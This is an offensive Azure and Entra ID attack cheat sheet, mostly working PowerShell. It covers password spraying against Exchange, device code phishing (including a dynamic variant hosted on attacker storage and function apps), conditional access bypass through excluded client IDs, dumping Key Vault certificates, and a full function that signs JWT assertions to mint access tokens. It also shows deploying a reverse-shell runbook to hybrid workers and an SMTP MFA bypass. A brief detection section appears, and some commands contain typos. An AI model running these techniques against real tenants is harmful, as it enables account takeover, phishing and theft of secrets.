Cloud
Azure Cheat Sheet

Authentication

GUI

Dump tokens from browser

CLI Tools

  • Using username / app secret
Powershell
# Connect to ARM
# for a normal user, It will open the authentication popup
Connect-AzZccount
# only use -serviceprincipal if you're connecting with a serviceprincipal/app
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant $tenant_id
 
# Connect to MG Graph
Connect-MgGraph -ClientSecretCredential $creds -TenantId $tenant_id
Get-MgContext
  • Using an access token
Powershell
$GraphAccessToken = 'eyJ0...'
Connect-MgGraph -AccessToken ($GraphAccessToken | ConvertTo-SecureString -AsPlainText -Force)
  • Using a certificate
Powershell
$AppCertificate=$[X509Certificate]$AppCertificate = Get-PfxCertificate -FilePath $full_path_to_cert.pfx
Connect-MgGraph -Certificate $AppCertificate -ClientId b1d10eb3-d631-499f-8197-f13de675904c -TenantId $tenant_id
  • Force change password for a user
Powershell
# According to your role in Graph and Administrative unit role
$passwordProfile = @{
forceChangePasswordNextSignIn = $false
password = '$New_P@ssw0rd'
}
 
Update-MgUser -UserId $target_user@$targetcorp.onmicrosoft.com -PasswordProfile $passwordProfile
  • Force change app secret for application/serviceprincipal
Powershell
$passwordCred = @{
displayName = 'Added by Azure Service Bus - DO NOT DELETE'
endDateTime = (Get-Date).AddMonths(6)
}
 
Add-MgApplicationPassword -ApplicationId da53a80e-cb86-4158-96e1-7b19f7fec496 -PasswordCredential $passwordCred

Recon

Tenant

  • Check if Azure tenant exists

    Get XML response
    https://login.microsoftonline.com/getuserrealm.srf?xml=1&login==username@defcorp.onmicrosoft.com
    Get JSON Response
    https://login.microsoftonline.com/getuserreal.srf?json=1&login==username@defcorp.onmicrosoft.com

    Response

    <RealmInfo Success="true">
    <State>4</State>
    <UserState>1</UserState>
    <Login>=something@defcorphq.onmicrosoft.com</Login>
    <NameSpaceType>Managed</NameSpaceType>
    <DomainName>defcorphq.onmicrosoft.com</DomainName>
    <IsFederatedNS>false</IsFederatedNS>
    <FederationBrandName>Defense Corporation</FederationBrandName>
    <CloudInstanceName>microsoftonline.com</CloudInstanceName>
    <CloudInstanceIssuerUri>urn:federation:MicrosoftOnline</CloudInstanceIssuerUri>
    </RealmInfo>

    Look for the NameSpaceType attribute:

    • Managed --> means It doesn't use Federated services ADFS
    • Unknown --> means tenant doesn't exist.
  • Get the tenant Information

Visit

# Get tenant id
https://login.microsoftonline.com/defcorp.onmicrosoft.com/.well-known/openid-configuration

Emails

Powershell
# Enumerate Email IDs by making requests to the `GetCredentialType` API
python.exe o365creeper.py -f emails.txt -o validemails.txt

Services

Powershell
# Enumerates subdomains by subdomain guessing
Import-Module MicroBurst.psm1
Invoke-EnumerateAzureSubDomains -Base defcorphq -Verbose

Initial Access

Password Spray & Bruteforce

Against the exchange service

Powershell
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password P@ssw0rd -Threads 15 -OutFile owa-sprayed-creds.txt
Invoke-PasswordSprayEWS -ExchHostname mail.domain.com -UserList .\userlist.txt -Password P@ssw0rd -Threads 15 -OutFile sprayed-ews-creds.txt

Device Code Phishing

  1. Generate device_code
    Powershell
    # This is a microsoft office client_id
    $ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
     
    # This is all permissions scope
    # offline_access scope gives us a refresh_token for longer access time
    $Scope=".default offline_access"
     
    $GrantType = "urn:ietf:params:oauth:grant-type:device_code"
    $body = @{
    "client_id" = $ClientID
    "scope" = $Scope
    }
     
    $authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -Body $body
    Write-Output $authResponse
  2. The response contains some parameterse. most important ones are user_code, device_code and verification_uri.
  3. Request tokens using the device_code
    Powershell
    $body=@{
    "client_id" = $ClientID
    "grant_type" = $GrantType
    "code" = $authResponse.device_code
    }
    $Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body -ErrorAction SilentlyContinue
    $GraphAccessToken = $Tokens.access_token

This attack has a single limitation which is that the verification_uri is only valid for 15 minutes. We can bypass that using:

Dynamic Device Code Phishing: + FOCI Family Of Client IDs

    • In this attack we will send a link to the user that generates the user_code once the user clicks on it. so now the timer will start by user clicking the link. We will need:
    • Storage account to:
      • Host the static website (The website that will be sent to the user as a phishing link)
      • Store the tokens after being fetched by the Aunction App.
    • App Service: To host CORS Anywhere (opens in a new tab) application to bypass CORS limitations of Azure
    • Function App:
      • Request the tokens and store them in the storage account.
  1. Leverege FRT and FOCI

Defending against Device Code Phishing: Detection:

  • the attacker IP and Device that is logged in Entra ID Sign-in logs - as the authentication is initiated from there!
  • Look at User sign-ins with Authentication Protocol: Device Code. Prevention:
  • Using Condition Access policies:
    • Location based Conditional Access Policy.
    • Device Code Authentication Flow Conditional Access Policy. (Allow or Block) device code flow for any Identity.

Lateral movement

Hybrid connection

  • Check if the machine is joined to Azure AD
    Powershell
    dsregcmd /status
  • Check if OnPremisesSyncEnabled for an EntraID user
    Powershell
    Connect-MgGraph -AccessToken ($GraphAccessToken | ConvertTo-SecureString -AsPlainText -Force)
    Get-MGUser -UserId 'user@domain.onmicrosoft.com' -Property UserPrincipalName, OnPremisesSyncEnabled,OnPremisesSyncDateTime | Select UserPrincipalName, OnPremisesSyncEnabled,OnPremisesSyncDateTime 

Token Extraction

From Office365 Apps

Powershell
.\AzTokenFinder.exe --mode online --processname winword

Services

Usually we use AzureAD Module or AZ Powershell to interact with Azure AD

Graph

Users

Powershell
# Enumerate all users
Get-AzureADUser -All $true
 
# Enumerate a specific user
Get-AzureADUser -ObjectId 'test@defcorphq.onmicrosoft.com'
 
# Search for a user based on string in first characters of DisplayName or userPrincipalName (wildcard not supported)
Get-AzureADUser -SearchString "admin"
Get-AzureADUser -All $ |?{$_.Displayname -match "admin"}
 
# List all attributes for a user
Get-AzureADUser -ObjectId 'test@defcorphq.onmicrosoft.com' | fl *
 
# Search attributes for all users that contain the string "password"
Get-AzureADUser -All $true|%{$Properties = $_;$Properties.PSObject.Properties.Name |${if ($Properties.$_ -match 'password'){"$($Properties.UserPrincipalName) - $_ - $($Properties.$_)"}}}
 
# All users who are synced from on prem
Get-AzureADUser -All $true |? {$_.OnPremisesSecurityIdentifier -ne $null}
 
# All users who are synced from AzureAD
Get-AzureADUser -All $true |? {$_.OnPremisesSecurityIdentifier -eq $null}
 
# Objects created by any user (use -ObjectId for a specific user)
Get-AzureADUser | Get-AzureADUserCreatedObject

Groups

Powershell
# Enumerate a group with a group id
Get-MgGroup -GroupId 9d99db17-6d49-4c70-ac44-ed4280f91814 | fl
 
# List group members
Get-MgGroupMember -GroupId 9d99db17-6d49-4c70-ac44-ed4280f91814 | select Id, @{Name='userPrincipalName';Expression={$_.AdditionalProperties.userPrincipalName}} | fl
 
# List groups a user is a member of 
(Get-MgUserMemberOf -UserId  explorationsyncuser1@oilcorporation.onmicrosoft.com).AdditionalProperties
# Add a user to a group
New-MgGroupMember -GroupId 91f7bfb1-b326-4376-8953-5d6d9b44e443 -DirectoryObjectId $user_account_id -Verbose

Administrative Units

Powershell
# Enumerate the administrative unit
Get-MgDirectoryAdministrativeUnit -AdministrativeUnitId 8355e587-6e2a-4e4c-8ebd-438e37576486 |fl
 
# List members of an administrative unit
Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId 8355e587-6e2a-4e4c-8ebd-438e37576486 | select Id, @{Name='userPrincipalName';Expression={$_.AdditionalProperties.userPrincipalName}} | fl

Roles

Powershell
# Get role RoleDefinition
# Gets more info / Description about the role
 
 Get-AzRoleDefinition -Name "Role Display Name"

Devices

Powershell
# List Registered owners of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
 
# Get all Azure joined and registered devices
Get-AzureADDevice -All $true | fl *
 
# Get the device configuration object (note the RegistrationQuota in the output)
Get-AzureADDeviceConfiguration | fl *
 
# List Registered users of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
 
# List devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId michaelmbarron@defcorphq.onmicrosoft.com
 
# List devices registered by a user
Get-AzureADUserRegisteredDevice -ObjectId michaelmbarron@defcorphq.onmicrosoft.com
 
# List devices managed using Intune
Get-AzureADUserOwnedDevice -ObjectId michaelmbarron@defcorphq.onmicrosoft.com
 
# List devices that are compliant
Get-AzureADDevice -All $true | ? { $_.IsCompliant -eq "True" }

Applications

  • Applications Enumeration
Powershell
# List all applications in Entra ID
Get-MgApplication -All
  • Check if any application has client secret or certificates
Powershell
$URI = "https://graph.windows.net/v1.0/Applications"
$RequestParams = @{
    Method = 'GET'
    Uri = $URI
    Headers = @{
        'Authorization' = "Bearer $GraphAccessToken"
    }
}
$Applications = (Invoke-RestMethod @RequestParams).value
 
$ApplicationsDetails = [PSCustomObject]@{
    Applications = @()}
foreach($Application in $Applications)
{
    $applicationObject = [PSCustomObject]@{
        DisplayName = $Application.displayName
        AppId = $Application.appId
        CreatedDateTime = $Application.createdDateTime
        ID = $Application.id
        keyCredentials = $Application.keyCredentials
        passwordCredentials = $Application.passwordCredentials
    }
    $ApplicationsDetails.Applications += $applicationObject
}
$ApplicationsDetails.Applications
 
# Save output to a file for later use
$ApplicationsDetails.Applications | Export-Clixml -Path .\Applications.xml

Service Principals

Powershell
# Get roles assigned to a service principal in the EntraID / Graph 
Get-MgRoleManagementDirectoryRoleAssignment -Filter "principalId eq 'cddece96-16c9-4c93-9c9d-97c96f98be1d'" | ForEach-Object {
$roleDef = Get-MgRoleManagementDirectoryRoleDefinition -UnifiedRoleDefinitionId $_.RoleDefinitionId
[PSCustomObject]@{
    RoleDisplayName = $roleDef.DisplayName
    RoleId = $roleDef.Id
    DirectoryScopeId = $_.DirectoryScopeId
}
} | Select-Object RoleDisplayName, RoleId, DirectoryScopeId | fl
 
 
# Get which member of the Administrative Unit the service principal has "specific Role" on
Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId b14fcc2e-7a5a-4935-b4a5-835fd8018efe -All | select Id, @{Name='userPrincipalName';Expression={$_.AdditionalProperties.userPrincipalName}} | fl
 
# Get owned objectec by serviceprincipalsecret
Get-MgServicePrincipalOwnedObject -ServicePrincipalId $serviceprincipal_id | select Id, @{Name='displayName';Expression={$_.AdditionalProperties.displayName}},@{Name='ObjectTyoe';Expression={$_.AdditionalProperties.'@odata.type'}} | fl
 
Powershell
# Get roles assigned to the service principal in ARM / Named App role assignment
 
$serviceprincipal_id = "$serviceprincipal_id"
 
# Get AppRoleAssignments for the target SP
$assignments = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $targetSpId
 
foreach ($assignment in $assignments) {
    # Get the resource service principal (the one that defines the role)
    $resourceSp = Get-MgServicePrincipal -ServicePrincipalId $assignment.ResourceId
 
    # Resolve AppRole using AppId
    $appRole = (Get-MgServicePrincipal -Filter "appId eq '$($resourceSp.AppId)'").AppRoles | Where-Object {
        $_.Id -eq $assignment.AppRoleId
    }
 
    # Output full assignment + resolved role
    $appRole | format-list
}
 
Powershell
# Enumerate Service Principals (visible as Enterprise Applications in Azure Portal).
# A Service Principal is the local representation of an app in a specific tenant.
# It is the security object that can be assigned Azure roles (acts like a "service account").
 
# Get all service principals
Get-AzADServicePrincipal
 
# Get all details about a specific service principal
Get-AzADServicePrincipal -ObjectId cdddd16e-2611-4442-8f45-053e7c37a264 | fl *
 
# Get service principals where the display name matches "app"
Get-AzADServicePrincipal | ? { $_.DisplayName -match "app" }

CAPs

Powershell
# Enumerate CAP
# MG Module
Get-MgIdentityConditionalAccessPolicy | fl
 
# Get all attributes of a CAP
# We should be looking for excluded applications / Groups / ... etc so we can bypass the CAP
Get-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $CAP_id |ConvertTo-Json
 
# If we have execluded applications (portal,devops,.. etc) we can use devicecode authorization flow to bypass the OTP
 
# U can change the $clientid based on the execluded applications
$ClientID = "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223"
$Scope = "https://management.azure.com/.default"
$body = @{
    "client_id" = $ClientID
    "scope" = $Scope 
}
$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -Body $body
$authResponse
 
# Now get a token using that device Code
$Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body -ErrorAction SilentlyContinue

TAP

Powershell
# Check if TAP is enabled
(Get-MgPolicyAuthenticationMethodPolicy).AuthenticationMethodConfigurations
 
# Get more info about TAP
(Get-MgPolicyAuthenticationMethodPolicyAuthenticationMethodConfiguration -AuthenticationMethodConfigurationId TemporaryAccessPass).AdditionalProperties
 
# What users/groups can use TAP
(Get-MgPolicyAuthenticationMethodPolicyAuthenticationMethodConfiguration -AuthenticationMethodConfigurationId TemporaryAccessPass).AdditionalProperties.includeTargets
 
# Request a TAP for a user
$properties = @{}
$properties.isUsableOnce = $True
$properties.startDateTime = (Get-Date)
$propertiesJSON = $properties | ConvertTo-Json
New-MgUserAuthenticationTemporaryAccessPassMethod -UserId username@domain.onmicrosoft.com -BodyParameter $propertiesJSON | fl

ARM

List all subscriptions with ARM or Microsoft Graph

Powershell
$Token = 'eyJ0eXAi..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'

$RequestParams = @{
    Method  = 'GET'
    Uri     = $URI
    Headers = @{
        Authorization = "Bearer $Token"
    }
}
(Invoke-RestMethod @RequestParams).value

Roles

We should enumerate the role assignments on Azure Resources.

Powershell
Get-AzRoleAssignment

KeyVaults

Depending on the permissions we have on a keyvault, will determine what can we do with stored credentials:

  • If user has /vaults/secrets/getsecret/action --> we can dump the certificate
  • If user hsa vaults/keys/sign/action --> we can use the key to sign a JWT assertion, but can't dump the certificate
  1. Enumerate permissions on a keyvault
Powershell
# Enumerate permissions on the keyvault using the ARM API.
 
# Retrieve KeyVault object (specify name or other params if needed)
$KeyVault = Get-AzKeyVault
 
# Get current subscription ID
$SubscriptionID = (Get-AzSubscription).Id
 
$ResourceGroupName = $KeyVault.ResourceGroupName
$KeyVaultName     = $KeyVault.VaultName
 
$URI = "https://management.azure.com/subscriptions/$SubscriptionID/resourceGroups/$ResourceGroupName/providers/Microsoft.KeyVault/vaults/$KeyVaultName/providers/Microsoft.Authorization/permissions?api-version=2022-04-01"
 
$RequestParams = @{
  Method  = 'GET'
  Uri     = $URI
  Headers = @{
    'Authorization' = "Bearer $Access_Token"   # Ensure $Access_Token is set before running
  }
}
 
$Permissions = (Invoke-RestMethod @RequestParams).value
$Permissions | Format-List *
  1. Request access token for KeyVault data plane
Powershell
# Get Access Token for KeyVault data plane using the keyvault API and a certificate
$KeyVaultToken = New-AccessToken -clientCertificate $clientCertificate -tenantID d6bd5a42-7c65-421c-ad23-a25a5d5fa57f -appID 2b7c28bd-def1-415a-b407-41627de6e8f1 -scope 'https://vault.azure.net/.default'
  1. Depending on permissions:
  • If user can dump certificate:

    Powershell
    # Get name of the certificate
    (Get-AzKeyVaultCertificate -VaultName $vault_name).Name
     
    # Extractcertificate from keyvault secret
    $secret = Get-AzKeyVaultSecret -VaultName $vault_name -Name appcert -AsPlainText
     
    # Convert from base64 encoded string
    $secretByte = [Convert]::FromBase64String($secret)
     
    # Write the certificate to a file
    [System.IO.File]::WriteAllBytes(".\Appcert.pfx", $secretByte)
     
     
    # Load the certificate
    $cert=[System.Security.Cryptography.X509Certificates.X509Certificate2]::new("full_path\cert.pfx")
    # certificate to access_token
    . .\New-AccessToken.ps1
    New-AccessToken -clientCertificate $clientCertificate -tenantID d6bd5a42-7c65-421c-ad23-a25a5d5fa57f -appID 2b7c28bd-def1-415a-b407-41627de6e8f1 -scope 'https://management.azure.com/.default'
  • If user can only sign with the certificate but can't dump it

JWT Assertion Create signed JWT with a certificate from inside a KeyVault

KeyvaultToSignedJWT
function KeyVaultToSignedJWT {
    param(
        [Parameter(Mandatory=$true)]
        [string]$AccessToken,
 
        [Parameter(Mandatory=$true)]
        [string]$VaultName,
 
        [Parameter(Mandatory=$true)]
        [string]$AppId,
 
        [string]$Audience = 'https://login.microsoftonline.com/common/oauth2/token',
 
        # Optional filter to pick a specific certificate by name substring
        [string]$CertificateNameContains,
 
        # API versions (override only if needed)
        [string]$CertificatesApiVersion = '7.4',
        [string]$SignApiVersion = '7.3'
    )
 
    function Convert-ToBase64Url([byte[]]$bytes) {
        $b64 = [Convert]::ToBase64String($bytes)
        $b64 = $b64.TrimEnd('=').Replace('+','-').Replace('/','_')
        return $b64
    }
 
    $headers = @{ Authorization = "Bearer $AccessToken" }
    $baseUri = "https://$VaultName.vault.azure.net"
 
    # 1) List certificates (with paging)
    $listUri  = "$baseUri/certificates?api-version=$CertificatesApiVersion"
    $selected = $null
 
    while ($listUri -and -not $selected) {
        $listResponse = Invoke-RestMethod -Method GET -Uri $listUri -Headers $headers -ContentType 'application/json'
        $items = $listResponse.value
 
        if ($CertificateNameContains) {
            $items = $items | Where-Object { $_.id -like "*$CertificateNameContains*" }
        }
 
        $selected = $items | Select-Object -First 1
 
        if (-not $selected -and $listResponse.nextLink) {
            $listUri = $listResponse.nextLink
        } else {
            $listUri = $null
        }
    }
 
    if (-not $selected) {
        if ($CertificateNameContains) {
            throw "No certificates found in vault '$VaultName' that match '$CertificateNameContains'."
        } else {
            throw "No certificates found in vault '$VaultName'."
        }
    }
 
    # Extract certificate object name from the id segment after 'certificates/'
    $segments = ([Uri]$selected.id).Segments | ForEach-Object { $_.TrimEnd('/') } | Where-Object { $_ }
    $certIndex = [Array]::IndexOf($segments, 'certificates')
    $certName  = if ($certIndex -ge 0 -and $segments.Length -gt ($certIndex + 1)) { $segments[$certIndex + 1] } else { $null }
 
    # 2) Fetch certificate details to obtain 'kid'
    $detailsUri  = "$($selected.id)?api-version=$CertificatesApiVersion"
    $certDetails = Invoke-RestMethod -Method GET -Uri $detailsUri -Headers $headers -ContentType 'application/json'
 
    if (-not $certDetails.kid) {
        throw "Certificate '$certName' does not contain a 'kid'. Ensure the certificate has an associated Key Vault key."
    }
 
    # 3) Build JWT (valid for 2 minutes)
    $epochStart = (Get-Date "1970-01-01T00:00:00Z").ToUniversalTime()
    $now        = (Get-Date).ToUniversalTime()
    $exp        = [math]::Round((New-TimeSpan -Start $epochStart -End $now.AddMinutes(2)).TotalSeconds, 0)
    $nbf        = [math]::Round((New-TimeSpan -Start $epochStart -End $now).TotalSeconds, 0)
 
    $jwtHeader = @{
        alg = 'RS256'
        typ = 'JWT'
        x5t = $selected.x5t
    }
 
    $jwtPayload = @{
        aud = $Audience
        exp = $exp
        iss = $AppId
        jti = [guid]::NewGuid().ToString()
        nbf = $nbf
        sub = $AppId
    }
 
    $headerJson  = ($jwtHeader  | ConvertTo-Json -Compress)
    $payloadJson = ($jwtPayload | ConvertTo-Json -Compress)
    $b64uHeader  = Convert-ToBase64Url ([System.Text.Encoding]::UTF8.GetBytes($headerJson))
    $b64uPayload = Convert-ToBase64Url ([System.Text.Encoding]::UTF8.GetBytes($payloadJson))
 
    $unsignedJwt      = "$b64uHeader.$b64uPayload"
    $unsignedJwtBytes = [System.Text.Encoding]::UTF8.GetBytes($unsignedJwt)
 
    # SHA256 hash → base64url
    $hasher        = [System.Security.Cryptography.HashAlgorithm]::Create('sha256')
    $jwtSha256Hash = $hasher.ComputeHash($unsignedJwtBytes)
    $jwtDigestB64u = Convert-ToBase64Url $jwtSha256Hash
 
    # 4) Sign using Key Vault key (kid)
    $signUri  = "$($certDetails.kid)/sign?api-version=$SignApiVersion"
    $signBody = @{
        alg   = 'RS256'
        value = $jwtDigestB64u
    } | ConvertTo-Json -Compress
 
    $signHeaders = @{
        Authorization = "Bearer $AccessToken"
        'Content-Type' = 'application/json'
    }
 
    $signResponse = Invoke-RestMethod -Uri $signUri -Method POST -Headers $signHeaders -Body $signBody -ContentType 'application/json'
    $signatureB64 = $signResponse.value
    $signatureB64u = $signatureB64.Replace('+','-').Replace('/','_').TrimEnd('=')
 
    $signedJwt = "$unsignedJwt.$signatureB64u"
 
    # Output composite result
    [pscustomobject]@{
        SignedJwt          = $signedJwt
        CertificateName    = $certName
        X5t                = $selected.x5t
        Kid                = $certDetails.kid
        CertificateDetails = $certDetails
    }
}   
Powershell
$signed_jwt = KeyVaultToSignedJWT -AccessToken $keyvault_access_token -VaultName 'appvault_name' -AppId 'f23a808b-6a01-4fb2-bfd9-bdb3e8390421'
  1. Use the signed JWT token to request an ARM access token
    Powershell
    $uri = "https://login.microsoftonline.com/d6bd5a42-7c65-421c-ad23-a25a5d5fa57f/oauth2/v2.0/token"
    $headers  = @{'Content-Type' = 'application/x-www-form-urlencoded'}
    $response = Invoke-RestMethod -Uri $uri -UseBasicParsing -Method POST -Headers $headers -Body ([ordered]@{
        'client_id'             = $AppID
        'client_assertion'      = $signed_jwt.signedjwt
        'client_assertion_type' = 'urn:ietf:params:oauth:client-assertion-type:jwt-bearer'
        # change scope based on the resource you want
        # 'scope'               = 'https://storage.azure.com/.default'
        'scope'                 = 'https://management.azure.com/.default'
        'grant_type'            = 'client_credentials'
    })
     
    $token = $response.access_token
    $token

Storage Accounts

Powershell
# Microburst
# Look for storage blobs configured with public access
Invoke-EnumerateAzureBlobs -base mycorp
 
# We can access the files using their URL/file_name
# We can use SAS URLs with Storage Explorer
  • Get exact permissions on a storage account

    Powershell
    $URI = 'https://management.azure.com/subscriptions/3604302a-3804-4770-a878-5fc5c142c8bc/resourceGroups/Exploration/providers/Microsoft.Storage/storageAccounts/oildatastore/providers/Microsoft.Authorization/permissions?api-version=2022-04-01'
     
    $RequestParams = @{
        Method = 'GET'
        Uri = $URI
        Headers = @{
            'Authorization' = "Bearer $access_token"    }
    }
    $DataAnalyticsPermissions = (Invoke-RestMethod @RequestParams).value
    $DataAnalyticsPermissions | fl *
  • List containers in a storage account

    Powershell
    # Get the list of files present in the storage account.
    $URL = "https://$storageaccount_name.blob.core.windows.net/?comp=list"
    $Params = @{
        "URI"     = $URL
        "Method"  = "GET"
        "Headers" = @{
        "Content-Type"  = "application/json"
        "Authorization" = "Bearer $AppStorageToken"
        "x-ms-version" = "2017-11-09"
        "accept-encoding" = "gzip, deflate"
        }
    }
    $Result = Invoke-RestMethod @Params -UseBasicParsing
    $Result 
  • List files inside a container

    Powershell
    $URL = "https://$storageaccount_name.blob.core.windows.net/$container_name?restype=container&comp=list"
     
    $Params = @{
        "URI"     = $URL
        "Method"  = "GET"
        "Headers" = @{
        "Content-Type"  = "application/json"
        "Authorization" = "Bearer $AppStorageToken"
        "x-ms-version" = "2017-11-09"
        "accept-encoding" = "gzip, deflate"
        }
    }
     
    $XML=Invoke-RestMethod @Params -UseBasicParsing
    #Remove BOM characters and list Blob names
    $XML.TrimStart([char]0xEF,[char]0xBB,[char]0xBF) | Select-Xml -XPath "//Name" | foreach {$_.node.InnerXML}
  • Read a file from a storage account container

    Powershell
    $URL = "https://$storageaccount_name.blob.core.windows.net/$container_name/$file_name.txt"
     
    $Params = @{
        "URI"     = $URL
        "Method"  = "GET"
        "Headers" = @{
        "Content-Type"  = "application/json"
        "Authorization" = "Bearer $AppStorageToken"
        "x-ms-version" = "2017-11-09"
        "accept-encoding" = "gzip, deflate"
        }
    }
     
    Invoke-RestMethod @Params -UseBasicParsing
  • Add tags to a file

    Powershell
    $URL = "https://$datastore_name.blob.core.windows.net/$container_name/$file_name?comp=tags"
     
    $Params = @{
        "URI"     = $URL
        "Method"  = "PUT"
        "Headers" = @{
        "Content-Type"  = "application/xml; charset=UTF-8"
        "Authorization" = "Bearer $storage_token"
        "x-ms-version" = "2020-04-08"   
        }
    }
     
    $Body = @"
    <?xml version="1.0" encoding="utf-8"?>  
    <Tags>  
        <TagSet>  
            <Tag>  
                <Key>$tag_name</Key>  
                <Value>$tag_value</Value>  
            </Tag>    
        </TagSet>  
    </Tags> 
    " 
    Invoke-RestMethod @Params -UseBasicParsing -Body $Body
     

Automation Accounts

Powershell
# List automation accounts
 
az extension add --upgrade -n automation
az automation account list
 
# Check if the automation account is using a hybrid worker group. Will allow us to execute commands on on-prem machine
Get-AzAutomationHybridWorkerGroup -AutomationAccountName HybridAutomation -ResourceGroupName Engineering
 
# Import a powershell script into the runbook
 
Import-AzAutomationRunbook -Name reverseshell -Path .\reverse-shell.ps1 -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Type PowerShell -Force -Verbose
 
# Publish the runbook
 
Publish-AzAutomationRunbook -RunbookName reverseshell -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Verbose
 
# Start the runbook 
 
Start-AzAutomationRunbook -RunbookName reverseshell -RunOn Workergroup1 -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Verbose

Logic apps

Powershell
# Get the logicapp resourceID
get-azresource
 
# Get an access token
$workflow_access_token = (get-azaccesstoken).token
 
# # List permissions on a logicapp workflow
$URI = "https://management.azure.com/$resource_id/providers/Microsoft.Authorization/permissions?api-version=2022-04-01"
$RequestParams = @{
    Method = 'GET'
    Uri = $URI
    Headers = @{
    'Authorization' = "Bearer $accesstoken"
}
}
$Permissions = (Invoke-RestMethod @RequestParams).value
$Permissions.actions
 
# Check for logic app HTTP trigger
Get-AzLogicAppTriggerCallbackUrl -TriggerName manual -Name $logic_app_name -ResourceGroupName $res_group_name 
 
# Read the logic app definition
(Get-AzLogicApp -Name $logicapp_name).Definition

Enumeration with GUI tools

ROADTools (opens in a new tab)

Bash
# Authentication (It supports username, password, access tokens, device code flow, refresh tokens, , PRT)
roadreconauth -u test@mycorp.onmicrosoft.com -p P@ssw0rd
 
roadrecon gather
roadrecon gui

Persistence

MFA Bypasses

SMTP

  • Because SMTP is a legacy protocol, MFA can't be configured on it. and It can be used with Azure. So if a user's creds got comprimised. We can send emails with his account without MFA.